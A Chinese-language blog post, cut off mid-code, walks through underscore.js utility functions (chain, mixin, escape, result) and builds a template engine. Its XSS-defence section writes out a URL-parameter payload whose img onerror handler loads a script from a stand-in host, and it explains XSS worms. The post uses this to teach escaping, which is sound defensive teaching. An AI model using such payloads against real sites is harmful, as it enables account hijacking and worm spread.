学习underscore源码之实用功能(链式调用、mixin、模板引擎等)

460 阅读13分钟

前言

学习的underscore.js 源码版本为1.13.1
这一节学习实用功能,涉及的函数包括noConflict、identity、constant、noop、times、random、mixin、iteratee、uniqueId、escape、unescape、result、now、template

实现链式调用 chain

_.chain(obj)
返回一个封装的对象. 在封装的对象上调用方法会返回封装的对象本身, 直到 value 方法调用为止

_.chain([1, 2, 3, 4]);
// 会返回一个对象
// {
//   _chain: true,
//   _wrapped: [1, 2, 3, 4]
// } 

_.chain([1, 2, 3, 4])
.filter(function(num) { return num % 2 == 0; })
.map(function(num) { return num * num })
.value(); // [4, 16]

实现:

function _$1(obj) {
  // 单例模式
  // 如果 obj 已经是 `_` 函数的实例,则直接返回 obj
  if (obj instanceof _$1) return obj;
  // 如果不是 `_` 函数的实例
  // 则调用 new 运算符,返回实例化的对象
  if (!(this instanceof _$1)) return new _$1(obj);
  // 将 obj 赋值给 this._wrapped 属性
  this._wrapped = obj;
}

function chain(obj) {
  // 无论是否 OOP 调用,都会转为 OOP 形式
  // 并且给新的构造对象添加了一个 _chain 属性
  var instance = _$1(obj);
  // 标记是否使用链式操作
  instance._chain = true;
  // 返回 OOP 对象
  // 可以看到该 instance 对象除了多了个 _chain 属性
  // 其他的和直接 _(obj) 的结果一样
  return instance;
}

// 一个包装过(OOP)并且链式调用的对象
// 用 value 方法获取结果
_$1.prototype.value = function() {
  return this._wrapped;
};

function each(obj, iteratee, context) {
  iteratee = optimizeCb(iteratee, context);
  var i, length;
  if (isArrayLike(obj)) {
    for (i = 0, length = obj.length; i < length; i++) {
      iteratee(obj[i], i, obj);
    }
  } else {
    var _keys = keys(obj);
    for (i = 0, length = _keys.length; i < length; i++) {
      iteratee(obj[_keys[i]], _keys[i], obj);
    }
  }
  return obj;
}

// 如果需要链式操作,则对 obj 运行 _.chain 方法,使得可以继续后续的链式操作
// 如果不需要,直接返回 obj
function chainResult(instance, obj) {
  return instance._chain ? _$1(obj).chain() : obj;
}

var ArrayProto = Array.prototype;

// 处理能改变数组自身的方法
each(['pop', 'push', 'reverse', 'shift', 'sort', 'splice', 'unshift'], function(name) {
  var method = ArrayProto[name];
  _$1.prototype[name] = function() {
    var obj = this._wrapped;
    if (obj != null) {
      method.apply(obj, arguments);
      // IE8兼容性问题 具体可看https://github.com/jashkenas/underscore/issues/397
      if ((name === 'shift' || name === 'splice') && obj.length === 0) {
        delete obj[0];
      }
    }
    // 支持链式操作
    return chainResult(this, obj);
  };
});

// 添加 concat、join、slice 数组原生方法
each(['concat', 'join', 'slice'], function(name) {
  var method = ArrayProto[name];
  _$1.prototype[name] = function() {
    var obj = this._wrapped;
    if (obj != null) obj = method.apply(obj, arguments);
    return chainResult(this, obj);
  };
});

noConflict

_.noConflict()
放弃Underscore 的控制变量 _。返回Underscore 对象的引用。解决冲突使用

var _ = {value: 1 }

// 引入 underscore 后
console.log(_.value); // undefined

// 放弃 "_",使用 "$"
var $ = _.noConflict();

console.log(_.value); // 1

实现

// ...部分代码省略
// 将原来全局环境中的变量 `_` 赋值给变量 current 进行缓存
var current = global._;
var exports = global._ = factory();
// 将之前储存的 _ 对象赋给全局对象,最后返回 underscore 对象
exports.noConflict = function () { global._ = current; return exports; };

identity

_.identity(value)
返回与传入参数相等的值. 相当于数学里的: f(x) = x
这个函数看似无用, 但是在Underscore里被用作默认的迭代器iterator.

var stooge = {name: 'zxx'};
stooge === _.identity(stooge);  // true

具体可看学习underscore源码之内部函数createAssigner、cb和optimizeCb

constant

.constant(value)
创建一个函数,这个函数 返回相同的值 用来作为
.constant的参数

var stooge = {name: 'zxx'};
stooge === _.constant(stooge)();  // true

源码如下:

function constant(value) {
  return function() {
    return value;
  };
}

noop

返回undefined,不论传递给它的是什么参数。 可以用作默认可选的回调参数。

obj.initialize = noop;
function noop(){}

times

_.times(n, iteratee, [context])
调用给定的迭代函数n次,每一次调用iteratee传递index参数。生成一个返回值的数组。
使用:

var vals = [];
_.times(3, function(i) { vals.push(i); });
console.log(vals);  // [0, 1, 2]

源码如下:

function times(n, iteratee, context) {
  var accum = Array(Math.max(0, n));
  iteratee = optimizeCb(iteratee, context, 1);
  for (var i = 0; i < n; i++) accum[i] = iteratee(i);
  return accum;
}

random

_.random(min, max)
返回一个min 和 max之间的随机整数。如果你只传递一个参数,那么将返回0和这个参数之间的整数。

function random(min, max) {
  if (max == null) {
    max = min;
    min = 0;
  }
  return min + Math.floor(Math.random() * (max - min + 1));
}

注意:该随机值有可能是 min 或 max。

mixin

_.mixin(object)
允许用您自己的实用程序函数扩展Underscore。传递一个 {name: function}定义的哈希添加到Underscore对象,以及面向对象封装。
使用:

_.mixin({
  capitalize: function(string) {
    return string.charAt(0).toUpperCase() + string.substring(1).toLowerCase();
  }
});
_("fabio").capitalize();  //  "Fabio"
// 或者
_.capitalize("fabio");  //  "Fabio"

源码:

// 向 underscore 函数库扩展自己的方法
function mixin(obj) {
  // 遍历 obj 的 key,将方法挂载到 Underscore 上
  // 实际是将方法浅拷贝到 _.prototype 上
  each(functions(obj), function(name) {
    var func = _$1[name] = obj[name];

    // 浅拷贝
    // 将 name 方法挂载到 _ 对象的原型链上,使之能 OOP 调用
    _$1.prototype[name] = function() {
      // 第一个参数
      var args = [this._wrapped];
      // arguments 为 [name] 方法需要的其他参数
      push.apply(args, arguments);
      // 支持链式操作
      return chainResult(this, func.apply(_$1, args));
    };
  });
  return _$1;
}

iteratee

请移步学习underscore源码之内部函数createAssigner、cb和optimizeCb

uniqueId

_.uniqueId([prefix])
为需要的客户端模型或DOM元素生成一个全局唯一的id。如果prefix参数存在, id 将附加给它
源码及使用:

var idCounter = 0;
function uniqueId(prefix) {
  var id = ++idCounter + '';
  return prefix ? prefix + id : id;
}
uniqueId('contact_');   // contact_1

escape、unescape

escape方法用于转义HTML字符串,替换&, <, >, ", ', 和 /字符;
unescape 和 escape 相反。转义HTML字符串,替换&, &lt;, &gt;, &quot;, &#96;, 和 &#x2F;字符。 使用:

_.escape('<script>alert("xxx")</script>');  
// '&lt;script&gt;alert(&quot;xxx&quot;)&lt;/script&gt;'


_.unescape('&lt;script&gt;alert(&quot;xxx&quot;)&lt;/script&gt;');
// '\x3Cscript>alert("xxx")\x3C/script>'

防御XSS攻击

有这样一个页面: www.xxx.com/index.html?name=xxxx, 我们希望从网址中取出用户的名称,然后将其显示在页面中,大概代码如下:

<div id="test"></div>
<script>
    function getQueryStringByName (name) {
        var match = RegExp('[?&]' + name + '=([^&]*)').exec(window.location.search);
        return match && decodeURIComponent(match[1].replace(/\+/g, ' ')) || '';
    }
    var name = getQueryStringByName(name);
    document.getElementById('test').innerHTML = name
</script>

如我把这个页面的地址修改为:www.xxx.com/index.html?name=<script>alert(1)</script>

就相当于:

document.getElementById("test").innerHTML = '<script>alert(1)</script>';

此时没有预想的alert弹框结果

这是因为:

根据 W3C 规范,script 标签中所指的脚本仅在浏览器第一次加载页面时对其进行解析并执行其中的脚本代码,所以通过 innerHTML 方法动态插入到页面中的 script 标签中的脚本代码在所有浏览器中默认情况下均不能被执行。

如果把地址改成 www.xxx.com/index.html?name=<img src=@ onerror=alert(1)> 的话,就相当于:

document.getElementById("test").innerHTML="<img src=@ onerror=alert(1)>"

此时立刻就弹窗了 1。
页面DOM结构
此外还可以把地址改成 www.xxx.com/index.html?name=<img src=@ onerror='var s=document.createElement("script");s.src="https://xxx.js";document.body.appendChild(s);' > 的话,就相当于:

var s = document.createElement("script");
s.src = "https://xxx.js";
document.body.appendChild(s);

代码中引入了一个第三方恶意脚本,在恶意脚本中可利用用户的登录状态进行各种接口操作,如发私信、微博等操作,发出的微博和私信可再带上攻击 URL,诱导更多人点击,不断放大攻击范围。这种窃用受害者身份发布恶意内容,层层放大攻击范围的方式,被称为“XSS 蠕虫”。
为了防止这种情况的发生,我们可以将网址上的值取到后,进行一个特殊处理,再赋值给 DOM 的 innerHTML

字符实体

在 HTML 中,某些字符是预留的。

在 HTML 中不能使用小于号(<)和大于号(>),这是因为浏览器会误认为它们是标签。

如果希望正确地显示预留字符,我们必须在 HTML 源代码中使用字符实体(character entities)。

字符实体类似这样:

&entity_name;
或者
&#entity_number;

如需显示小于号,我们必须这样写:&lt; 或 &#60;

提示:使用实体名而不是数字的好处是,名称易于记忆。不过坏处是,浏览器也许并不支持所有实体名称(对实体数字的支持却很好)。

HTML 中有用的字符实体(部分)

显示结果描述实体名称实体编号(十进制)实体编号(十六进制)
空格&#160;&#xA0;
<小于号<&#60;&#x3C;
大于号>&#62;&#x3E;
&和号&&#38;&#x26;
"引号"&#34;&#x22;
'撇号' (IE不支持)&#39;&#x27;

不间断空格(non-breaking space)
HTML 中的常用字符实体是不间断空格(&nbsp;)。

浏览器总是会截短 HTML 页面中的空格。如果您在文本中写 10 个空格,在显示该页面之前,浏览器会删除它们中的 9 个。如需在页面中增加空格的数量,您需要使用 &nbsp; 字符实体。

注: 平时我们用键盘输入的空格的ASCII值是32;

为什么 < 的字符实体是 &#60 呢?这是怎么进行计算的呢?

其实很简单,就是取字符的 unicode 值,以 &# 开头接十进制数字 或者以 &#x开头接十六进制数字。举个例子:

function transfer (char) {
  var num = char.charCodeAt(0);  
  var a = num.toString(10);  
  var b = num.toString(16);  
  return `字符${char}十进制: ${a}, 十六进制: ${b}`
}
transfer('<');   // 字符<十进制: 60, 十六进制: 3c
transfer(' ');   // 字符 十进制: 32, 十六进制: 20

实现

function createEscaper(map) {
  var escaper = function(match) {
    return map[match];
  };
  // 使用非捕获性分组
  var source = '(?:' + keys(map).join('|') + ')';
  var testRegexp = RegExp(source);
  
  // 全局替换
  var replaceRegexp = RegExp(source, 'g');
  return function(string) {
    string = string == null ? '' : '' + string;
    return testRegexp.test(string) ? string.replace(replaceRegexp, escaper) : string;
  };
}

var nativeKeys = Object.keys;
// 获取对象自身可枚举属性组成的数组
function keys(obj) {
  if (!isObject(obj)) return [];
  if (nativeKeys) return nativeKeys(obj);
}

// 将一个对象的键值对对调 {'a': 'b'} => {'b': 'a'}
function invert(obj) {
  var result = {};
  var _keys = keys(obj);
  for (var i = 0, length = _keys.length; i < length; i++) {
    result[obj[_keys[i]]] = _keys[i];
  }
  return result;
}

var escapeMap = {
  '&': '&amp;',
  '<': '&lt;',
  '>': '&gt;',
  '"': '&quot;',
  // 以上四个为最常用的字符实体
  // 也是仅有的可以在所有环境下使用的实体字符(其他应该用「实体数字」,如下)
  // 浏览器也许并不支持所有实体名称(对实体数字的支持却很好)
  "'": '&#x27;',
  '`': '&#x60;'
};

var _escape = createEscaper(escapeMap);

var unescapeMap = invert(escapeMap);

var _unescape = createEscaper(unescapeMap);

result

_.result(object, property, [defaultValue])
如果指定的property 的值是一个函数,那么将在object上下文内调用它;否则,返回它。如果提供默认值,并且属性不存在,那么默认值将被返回。如果设置defaultValue是一个函数,它的结果将被返回。
使用:

var obj = {x: 'x', y: function(){ return this.x; }, z: { n: 666 }};
_.result(obj, 'z');  // { n: 666 }
_.result(obj, ['z', 'n']);  // 666
_.result(obj, 'y');  // 'x'
_.result(null, 'b', 'default');  // 'default'

var obj1 = {a: [1, 2, 3]};
_.result(obj, 'b', function() {
  return this.a;
});   // [1, 2, 3]

源码:

function isFunction (func) {
  return Object.prototype.toString.call(func) === '[object Function]'
};
function toPath(path) {
  return isArray(path) ? path : [path];
}

function result(obj, path, fallback) {
  path = toPath(path);
  var length = path.length;
  if (!length) {
    return isFunction(fallback) ? fallback.call(obj) : fallback;
  }
  for (var i = 0; i < length; i++) {
    var prop = obj == null ? void 0 : obj[path[i]];
    if (prop === void 0) {
      prop = fallback;
      i = length; // 不需要遍历了
    }
    obj = isFunction(prop) ? prop.call(obj) : prop;
  }
  return obj;
}

now

_.now()
一个优化的方式来获得一个当前时间的整数时间戳。可用于实现定时/动画功能。

var now = Date.now || function() {
  return new Date().getTime();
};
now();  // 1646902301180

template

_.template(templateString, [settings])
将 JavaScript 模板编译为可以用于页面呈现的函数, 对于通过JSON数据源生成复杂的HTML并呈现出来的操作非常有用。
模板函数可以使用 <%= … %>插入变量, 用<% … %>执行任意的 JavaScript 代码。 如果您希望插入一个值, 并让其进行HTML转义,请使用<%- … %>。
当你要给模板函数赋值的时候,可以传递一个含有与模板对应属性的data对象 。
如果您要写一个一次性的, 您可以传对象 data 作为第二个参数给模板 template 来直接呈现, 这样页面会立即呈现而不是返回一个模板函数. 参数 settings 是一个哈希表包含任何可以覆盖的设置 _.templateSettings.

基本使用

// <%= … %>插入变量
var tpl = "hello: <%= name %>"
var compiled = _.template(tpl);
compiled({name: 'xman'});  // "hello: xman"

如何实现? 具体实现的过程是模版分为hello和<%= name %>两个部分,前者为普通字符串,后者为表达式。表达式需要继续处理,与数据关联后成为一个变量值,最终将字符串与变量值连成最终的字符串,如下图演示了模版与数据的渲染过程图。
模版与数据的渲染过程图

1.模版引擎

通过render()方法实现一个简单的模版引擎,这个模版引擎会将hello: <%= name %>转换为"hello " + obj.name。该过程分为以下几个步骤:

  • 语法分解。提取出普通字符串和表达式,这个过程通常用正则表达式匹配出来,<%=%>的正则表达式为/<%=([\s\S]+?)%>/g;
  • 处理表达式。将标签表达式转换成普通的语言表达式;
  • 生成待执行的语句;
  • 与数据一起执行,生成最终字符串。

模版函数如下:

var render = function (str, data) {
  // 替换特殊标签
  var tpl = str.replace(/<%=([\s\S]+?)%>/g, function(match, code) {
    return "' + obj." + code + "+ '"; 
  });
  tpl = "var tpl = '" + tpl + "'\nreturn tpl;"; 
  var compiled = new Function('obj', tpl); 
  return compiled(data);
};

测试下:

var tpl = "hello: <%= name %>"
render(tpl, { name: 'xman'}); // "hello: xman"

模版编译

tpl = "var tpl = '" + tpl + "'\nreturn tpl;"; 
var compiled = new Function('obj', tpl); 

为了能够最终与数据一起执行生成字符串,我们需要将原始的模版字符串转换成一个函数对象。比如hello <%=name%>这句模版字符串,最终会生成如下代码:

function (obj) {
  var tpl = 'hello' + obj.name + '';
  return tpl;
}

这个过程称为模版编译,生成的中间函数只与模版字符串相关,与具体的数据无关。如果每次都生成这个中间函数,就会浪费CPU。为了提升模版渲染的性能速度,我们通常会采用模版预编译的方式。所以,上面代码可以拆解为两个方法:

var compile = function (str) {
  var tpl = str.replace(/<%=([\s\S]+?)%>/g, function(match, code) {
    return "' + obj." + code + "+ '"; 
  });
  tpl = "var tpl = '" + tpl + "'\nreturn tpl;";
  return new Function('obj', tpl); 
};

var render = function (compiled, data) { 
  return compiled(data);
};

通过预编译缓存模版编译后的结果,实际应用中就可以实现一次编译,多次执行,而原始的方式每次执行过程中都要进行一次编译和执行。

正则表达式说明

上面 用到了正则表达式 /<%=([\s\S]+?)%>/g , 其中涉及到匹配任意字符及惰性匹配
以下内容参考 juejin.cn/post/684490…

\d就是[0-9]。表示是一位数字。记忆方式:其英文是digit(数字)。
\D就是[^0-9]。表示除数字外的任意字符。
\w就是[0-9a-zA-Z_]。表示数字、大小写字母和下划线。记忆方式:w是word的简写,也称单词字符。
\W是[^0-9a-zA-Z_]。非单词字符。
\s是[ \t\v\n\r\f]。表示空白符,包括空格、水平制表符、垂直制表符、换行符、回车符、换页符。记忆方式:s是space character的首字母。
\S是[^ \t\v\n\r\f]。 非空白符。
.就是[^\n\r\u2028\u2029]。通配符,表示几乎任意字符。换行符、回车符、行分隔符和段分隔符除外。记忆方式:想想省略号...中的每个点,都可以理解成占位符,表示任何类似的东西。

匹配任意字符
可以使用[\d\D]、[\w\W]、[\s\S]和[^]中任何的一个。
注意 . 匹配除行终结符之外的任何单个字符,如: 在 hello world 之间加上一个行终结符,比如说 '\u2029':

var str = '<%=hello \u2029 world%>'

// 因为匹配不到,所以也不会执行 console.log 函数。
str.replace(/<%=(.+?)%>/g, function(match){
  console.log(match);
})

// 改成 /<%=([\s\S]+?)%>/g 就可以正常匹配:
str.replace(/<%=([\s\S]+?)%>/g, function(match){
  console.log(match);   // <%=hello 
 world%> 
});

惰性匹配
限定符 限定符用来指定正则表达式的一个给定组件必须要出现多少次才能满足匹配。有 * 或 + 或 ? 或 {n} 或 {n,} 或 {n,m} 共6种。

正则表达式的限定符有:

字符描述
*匹配前面的子表达式零次或多次。例如,zo* 能匹配 "z" 以及 "zoo"。* 等价于{0,}。
+匹配前面的子表达式一次或多次。例如,'zo+' 能匹配 "zo" 以及 "zoo",但不能匹配 "z"。+ 等价于 {1,}。
?匹配前面的子表达式零次或一次。例如,"do(es)?" 可以匹配 "do" 、 "does" 中的 "does" 、 "doxy" 中的 "do" 。? 等价于 {0,1}。
{n}n 是一个非负整数。匹配确定的 n 次。例如,'o{2}' 不能匹配 "Bob" 中的 'o',但是能匹配 "food" 中的两个 o。
{n,}n 是一个非负整数。至少匹配n 次。例如,'o{2,}' 不能匹配 "Bob" 中的 'o',但能匹配 "foooood" 中的所有 o。'o{1,}' 等价于 'o+'。'o{0,}' 则等价于 'o*'。
{n,m}m 和 n 均为非负整数,其中n <= m。最少匹配 n 次且最多匹配 m 次。例如,"o{1,3}" 将匹配 "fooooood" 中的前三个 o。'o{0,1}' 等价于 'o?'。请注意在逗号和两个数之间不能有空格。

在数量词 *、+、? 或 {}, 任意一个后面紧跟该符号(?),会使数量词变为非贪婪, 即匹配次数最小化。反之,默认情况下,是贪婪的,即匹配次数最大化。

var str = '<h1>h1标题</h1>';

// /<.*>/ 贪婪匹配,尽可能多的匹配, 匹配从开始小于符号 (<) 到关闭 h1 标记的大于符号 (>) 之间的所有内容  
str.replace(/<.*>/g, function(match){
  console.log(match);   // <h1>h1标题</h1>
});

// 如果只需要匹配开始和结束 h1 标签,下面的非贪婪表达式只匹配 <h1>。 
// /<.*?>/ 非贪婪匹配
str.replace(/<.*?>/g, function(match){
  console.log(match);   // <h1>
});

source属性
每个正则表达式对象都有一个 source 属性,返回当前正则表达式对象的模式文本的字符串, 该字符串不会包含正则字面量两边的斜杠以及任何的标志字符。

var reg = /<.*>/g, reg1 = /runoob/gi;
console.log(reg.source);  // <.*>
console.log(reg1.source); // runoob 不包含 /.../ 和 "gi"

replace方法

语法为

str.replace(regexp|substr, newSubStr|function) 第一个参数可以是一个RegExp 对象或者其字面量,也可以是一个字符串, 第二个参数replacement可以为一个字符串,也可以为一个函数。
当第二个参数传递一个字符串时:

var str="Hello world!"
console.log(str.replace(/world/, "china")); // Hello china!

替换字符串可以插入下面的特殊变量名:

变量名代表的值
$$插入一个 "$"。
$&插入匹配的子串。
$`插入当前匹配的子串左边的内容。
$'插入当前匹配的子串右边的内容。
$n假如第一个参数是 RegExp对象,并且 n 是个小于100的非负整数,那么插入第 n 个括号匹配的字符串。提示:索引是从1开始。如果不存在第 n个分组,那么将会把匹配到到内容替换为字面量。比如不存在第3个分组,就会用“$3”替换匹配到的内容。
$这里Name 是一个分组名称。如果在正则表达式中并不存在分组(或者没有匹配),这个变量将被处理为空字符串。只有在支持命名分组捕获的浏览器中才能使用。
// $1、$2、...、$99  表示从左到右,正则子表达式(组)匹配到的文本

// 将把 "Doe, John" 转换为 "John Doe" 的形式
var name = "Doe, John";
name.replace(/(\w+)\s*, \s*(\w+)/, "$2 $1"); // John Doe
 
// 把所有的花引号替换为直引号
var name2 = '"a", "b"';
name2.replace(/"([^"]*)"/g, "'$1'");  // "'a', 'b'"


// $&  表示regexp 相匹配的子串
var str = 'Visit Microsoft';
str = str.replace(/Visit Microsoft/g,"$& ,W3School");
console.log(str); // Visit Microsoft ,W3School

// $` 位于匹配子串左侧的文本
var str = 'Visit Microsoft';
str = str.replace(/Microsoft/g,'$`');
console.log(str); // Visit Visit 

// $' 位于匹配子串右侧的文本
var str = 'Visit Microsoft';
str = str.replace(/Visit/g,"$'");
console.log(str); //  Microsoft Microsoft

// $$  直接量符号  插入一个"$"
var str = "javascript";
str = str.replace(/java/,"$$") 
console.log(str); // $script

当第二个参数传递一个函数时:

var str="Hello world"
console.log(str.replace(/world/, function (match) {
  return match + '!'
})); // Hello world!

match 表示匹配到的字符串,但函数的参数其实不止有 match,

变量名代表的值
match匹配的子串。(对应于上述的$&。)
p1,p2, ...假如replace()方法的第一个参数是一个RegExp 对象,则代表第n个括号匹配的字符串。(对应于上述的11,2等。)例如,如果是用 /(\a+)(\b+)/ 这个来匹配,p1 就是匹配的 \a+,p2 就是匹配的 \b+。
offset匹配到的子字符串在原字符串中的偏移量。(比如,如果原字符串是 'abcd',匹配到的子字符串是 'bc',那么这个参数将会是 1)
string被匹配的原字符串。
NamedCaptureGroup命名捕获组匹配的对象
$<Name>这里Name 是一个分组名称。如果在正则表达式中并不存在分组(或者没有匹配),这个变量将被处理为空字符串。只有在支持命名分组捕获的浏览器中才能使用。

例子:

var str = 'abc123#@!';
str.replace(/([^\d]*)(\d*)([^\w]*)/, function (match, p1, p2, p3, offset, string) {
  console.log(match, p1, p2, p3, offset, string); // abc123#@! abc 123 #@! 0 abc123#@!
  return [p1, p2, p3].join(' - ');  // 'abc - 123 - #@!'
});

另外要注意的是,如果第一个参数是正则表达式,并且其为全局匹配模式, 那么这个方法将被多次调用,每次匹配都会被调用。

举个例子,如果我们要在一段字符串中匹配出 <%=xxx%> 中的值:

var str = '<a href="<%=href%>"><%=text%></a></li>'

str.replace(/<%=(.+?)%>/g, function(match, p1, offset, string){
  console.log(match);
  console.log(p1);
  console.log(offset);
  console.log(string);
})

传入的函数会被执行两次,第一次输出:

<%=href%>
href
9
<a href="<%=href%>"><%=text%></a></li>

第二次输出:

<%=text%>
text
20
<a href="<%=href%>"><%=text%></a></li>

Function

每个 JavaScript 函数实际上都是一个 Function 对象。运行 (function(){}).constructor === Function // true 便可以得到这个结论。
使用方法:

new Function(functionBody)
new Function(arg1, ... argN, functionBody)

arg1, arg2, ... argN(可选) 表示函数用到的参数,functionBody 表示一个含有包括函数定义的 JavaScript 语句的字符串。 如:

var fn1 = new Function('console.log(1);');
fn1(); // 1

var fn2 = new Function('a', 'b', 'return a + b');
console.log(fn2(2, 6));  // 8

与函数声明之间的不同

由 Function 构造函数创建的函数不会创建当前环境的闭包,它们总是被创建于全局环境,因此在运行时它们只能访问全局变量和自己的局部变量,不能访问它们被 Function 构造函数创建时所在的作用域的变量。这一点与使用 eval() 执行创建函数的代码不同。

var x = 10;

function createFunction1() {
  var x = 20;
  return new Function('return x;'); // 这里的 x 指向最上面全局作用域内的 x
}

function createFunction2() {
  var x = 20;
  function f() {
    return x; // 这里的 x 指向上方本地作用域内的 x
  }
  return f;
}

var f1 = createFunction1();
console.log(f1());          // 10
var f2 = createFunction2();
console.log(f2());          // 20

注意: 虽然这段代码可以在浏览器中正常运行,但在 Node.js 中 f1() 会产生一个“找不到变量 x”的 ReferenceError。这是因为在 Node 中顶级作用域不是全局作用域,而 x 其实是在当前模块的作用域之中。

2.with的应用

上面实现的模版引擎非常弱,遇到复杂的数据结构就玩不转了,如:

var info = {
  name: 'xman',
  age: 18,
  friends: [...]
}

在模板字符串中,如果要用到某个数据,总是需要使用 info.info.friends 的形式来获取,麻烦就麻烦在我想直接使用 name、friends 等变量,而不是繁琐的使用 info. 来获取。 此时我们可以利用with, with 语句可以扩展一个语句的作用域链(scope chain)。当需要多次访问一个对象的时候,可以使用 with 做简化。比如:

var hostName = location.hostname;
var url = location.href;

// 使用 with
with(location){
    var hostname = hostname;
    var url = href;
}

上面的compile使用with:

var compile = function (str) {
  var tpl = str.replace(/<%=([\s\S]+?)%>/g, function (match, code) {
    return "'+" + code + "+'"; 
  });
  tpl = "tpl='" + tpl + "'";
  tpl = 'var tpl = "";\nwith (obj) {' + tpl + '}\nreturn tpl;';  
  return new Function('obj', tpl);
};

备注:不推荐使用with, 因为它可能是混淆错误和兼容性问题的根源。除此之外,也会造成性能低下。推荐的替代方案是声明一个临时变量来承载你所需要的属性。

模版安全

如果上文中name的值为<script>alert("xss")</script>, 那么模版渲染输出的字符串将会是:

hello <script>alert("xss")</script>

这会在页面上执行这个脚本,造成XSS漏洞。为了提高安全性,我们需要把这些能形成HTML标签的字符转换成安全的字符,这些字符主要有&、 <、>、 "、 ',转义函数就是上文中的_escape函数。
不确定要输出HTML标签的字符最好都转义,<%=%>和<%-%>分别表示为转义和非转义的情况:

var compile = function (str) {
  var tpl = str
    .replace(/\n/g, "\\n") // 将换行符替换
    .replace(/<%=([\s\S]+?)%>/g, function (match, code) {
      // 转义
      return "'+ _escape(" + code + ") +'";
    })
    .replace(/<%-([\s\S]+?)%>/g, function (match, code) {
      // 正常输出
      return "'+" + code + "+'";
    });
  tpl = "tpl='" + tpl + "'";
  tpl = 'var tpl = "";\nwith (obj) {' + tpl + "}\nreturn tpl;";
  // 加上_escape函数
  return new Function("obj", "_escape", tpl);
};

var render = function (compiled, data) {
  return compiled(data, _escape);
};

模版引擎通过正则分别匹配—和=并区别对待,最后将_escape()函数传入。最终上面上文中name的值为<script>alert("xss")</script>会转换为安全的输出:

"hello &lt;script&gt;alert(&quot;xss&quot;)&lt;/script&gt;"

转义序列

由反斜杠 (\) 后接字母或数字组合构成的字符组合称为“转义序列”。要在字符常量中表示换行符,单引号或某些其他字符,必须使用转义序列。转义序列被视为单个字符

转义序列的语法为 \uhhhh,其中 hhhh 是四位十六进制数
在 JavaScript 中,字符串值是一个由零或多个 Unicode 字符(字母、数字和其他字符)组成的序列。

字符串中的每个字符均可由一个转义序列表示。比如字母 a,也可以用转义序列 \u0061 表示。

function transfer (char) {
  var num = char.charCodeAt(0);  
  var a = num.toString(10);  
  var b = num.toString(16);  
  return `字符${char}十进制: ${a}, 十六进制: ${b}`
}

// 字符 'a' 
// 可以用 \u0061 来表示 'a'
transfer('a');    // '字符a十进制: 97, 十六进制: 61'

// 对转义序列 '\n'
// 可以用 \u000A 来表示换行符 \n
transfer('\n');   // '字符\n十进制: 10, 十六进制: a'

常用字符的转义序列以及含义:
参考: developer.mozilla.org/zh-CN/docs/…

Unicode 字符值转义序列含义
\u0009\t制表符
\u000A\n换行
\u000D\r回车
\u0022"双引号
\u0027'单引号
\u005C\反斜杠
\u2028行分隔符
\u2029段落分隔符

行终止符
除了空白符之外,行终止符也可以提高源码的可读性。不同的是,行终止符可以影响 JavaScript 代码的执行。行终止符也会影响自动分号补全的执行。在正则表达式中,行终止符会被 \s 匹配。

在 ECMAScript 中,只有下列 Unicode 字符会被当成行终止符,其他的行终止符(比如 Next Line、NEL、U+0085 等)都会被当成空白符。

编码名称转义序列
U+000A换行符\n
U+000D回车符\r
U+2028行分隔符
U+2029段分隔符
var log = new Function("var a = '1\n23';console.log(a)");
log();

这段代码会报错 Uncaught SyntaxError: Invalid or unexpected token .

这是因为在 Function 构造函数的实现中,首先会将函数体代码字符串进行一次 ToString 操作,这时候字符串变成了:

var a = '1
23';console.log(a);

然后再检测代码字符串是否符合代码规范,在 JavaScript 中,字符串表达式中是不允许换行的,这就导致了报错。
所以在模板字符串中使用了 行终结符,便有可能会出现一样的错误,所以我们必须要对这四种 行终结符 进行特殊的处理。

处理特殊字符
除了这四种 行终结符 之外,我们还要对两个字符进行处理。分别是 \ 、 '。

// 模版中出现了 \ 
var log = new Function("var a = '1\23';console.log(a)");

// log函数内容 
// 把 \ 当成了特殊字符的标记进行处理,所以最终打印了 1
// ƒunction anonymous() {
//   var a = '1';console.log(a)
// }

log(); // 1

如果我们在模板引擎中使用了 ',因为我们会拼接诸如 p.push(' ') 等字符串,因为 ' 的原因,字符串会被错误拼接,也会导致错误。

所以总共我们需要对六种字符进行特殊处理,处理的方式,就是正则匹配出这些特殊字符,然后比如将 \n 替换成 \n,\ 替换成 \,' 替换成 \',处理的代码为:

var escapes = {
  "'": "'",
  '\\': '\\',
  '\r': 'r',
  '\n': 'n',
  '\u2028': 'u2028',
  '\u2029': 'u2029'
};

var escapeRegExp = /\\|'|\r|\n|\u2028|\u2029/g;

function escapeChar(match) {
  return '\\' + escapes[match];
}

3.模版逻辑

有以下模版:

<% for (var i = 0; i < items.length; i++) { %>
  <%var item = items[i];%>
  <p><%= i+1 %>、<%=item.name%></p>
<% } %>

我们先将 <%=xxx%> 替换成 '+ xxx +',再将 <%xxx%> 替换成 '; xxx __p+=':

'; for (var i = 0; i < items.length; i++) { __p+='  
  '; var item = items[i];__p+='
  <p>' + i+1 +'、'+ item.name +'</p>
';  } __p+='

这段代码肯定会运行错误的,所以我们再添加些头尾代码,然后组成一个完整的代码字符串:

var __p='';
with(obj){
__p+='

'; for (var i = 0; i < items.length; i++) { __p+='  
  '; var item = items[i];__p+='
  <p>' + i+1 +'、'+ item.name +'</p>
';  } __p+='

';
};
return __p;

整理下:

var __p='';
with(obj){
__p+=''; 
for (var i = 0; i < items.length; i++) {
  __p+='';  
  var item = items[i];
  __p+='<p>' + (i+1) +'、'+ item.name +'</p>';  
} 
__p+='';
};
return __p;

然后我们将 __p 这段代码字符串传入 Function 构造函数中

var render = new Function(data, __p)

我们执行这个 render 函数,传入需要的 data 数据,就可以返回一段 HTML 字符串:

render(data)

实现

// 三种渲染模板
// 1. <%  %> - 执行任意的 JavaScript 代码
// 2. <%= %> - 插入变量
// 3. <%- %> - 插入一个HTML转义的值 
var settings = {
  evaluate: /<%([\s\S]+?)%>/g,
  interpolate: /<%=([\s\S]+?)%>/g,
  escape: /<%-([\s\S]+?)%>/g
};

// 转义字符
var escapes = {
  "'": "'",
  '\\': '\\',
  '\r': 'r',  // 回车符
  '\n': 'n',  // 换行符
  '\u2028': 'u2028',  // 行分隔符
  '\u2029': 'u2029'  // 段落分隔符
};

var escapeRegExp = /\\|'|\r|\n|\u2028|\u2029/g;

function escapeChar(match) {
  return '\\' + escapes[match];
}

var template = function (text) {
  // /<%-([\s\S]+?)%>|<%=([\s\S]+?)%>|<%([\s\S]+?)%>|$/g
  // 注意最后还有个 |$
  var matcher = RegExp([
    (settings.escape).source,
    (settings.interpolate).source,
    (settings.evaluate).source
